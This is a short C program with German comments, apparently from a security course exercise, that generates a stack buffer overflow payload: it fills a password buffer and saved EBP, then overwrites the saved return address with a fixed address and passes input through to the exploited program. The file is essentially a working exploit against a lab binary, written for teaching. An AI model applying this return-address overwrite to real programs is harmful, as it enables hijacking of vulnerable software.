#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

/*
 * Die Byteorder von den rausgeschriebenen Werten ist wichtig.  Würde man die
 * Bytes einzeln schreiben müsste man sich selbst darum kümmern dass man z.B
 * Adressen in der richtigen Reihenfolge angibt. Man kann stattdessen auch so
 * eine Funktion hier nehmen. Der uint32_t liegt (vorrausgesetzt die eigene und
 * die Zielarchitektur sind sich ähnlich genug) schon in der richtigen
 * Reihenfolge vor und wird dann einfach byteweise (genau das tut fwrite)
 * rausgeschrieben.
 */
static void printWord(uint32_t x) {
	fwrite(&x, sizeof(x), 1, stdout);
}


int main(void) {
	/*
	 * Wenn man sich das Disassembly anschaut sieht man dass auf dem Stack
	 * durch das 'sub %esp 0x18' 24 Byte für lokale Variablen reserviert
	 * wurden (siehe auch Folien).
	 * Das Stacklayout an der Stelle ist
	 *
	 * + 4 saved EIP   <--- Überschreib mich
	 * EBP saved EBP
	 * - 8 padding
	 * -12 n
	 * -21 password
	 * -24 Ende der lokalen Variablen
	 *
	 * scanf wird ab EBP - 21 (oder -0x15(%ebp) in AT&T Assembly Syntax) anfangen zu schreiben.
	 */
	fprintf(stdout, "xxxxxxxxx"); // password
	printWord(0);                 // n
	printWord(0);                 // mysteriöses padding
	printWord(0);                 // und gleich nochmal
	printWord(0);                 // %ebp
	printWord(0x0804a02e);        // %eip
	fprintf(stdout, "\n");        // scanf liest bis \n
	fflush(stdout);

	int c;
	while ((c = getchar()) != EOF) {
		putchar(c);
		fflush(stdout);
	}
	return EXIT_SUCCESS;
}
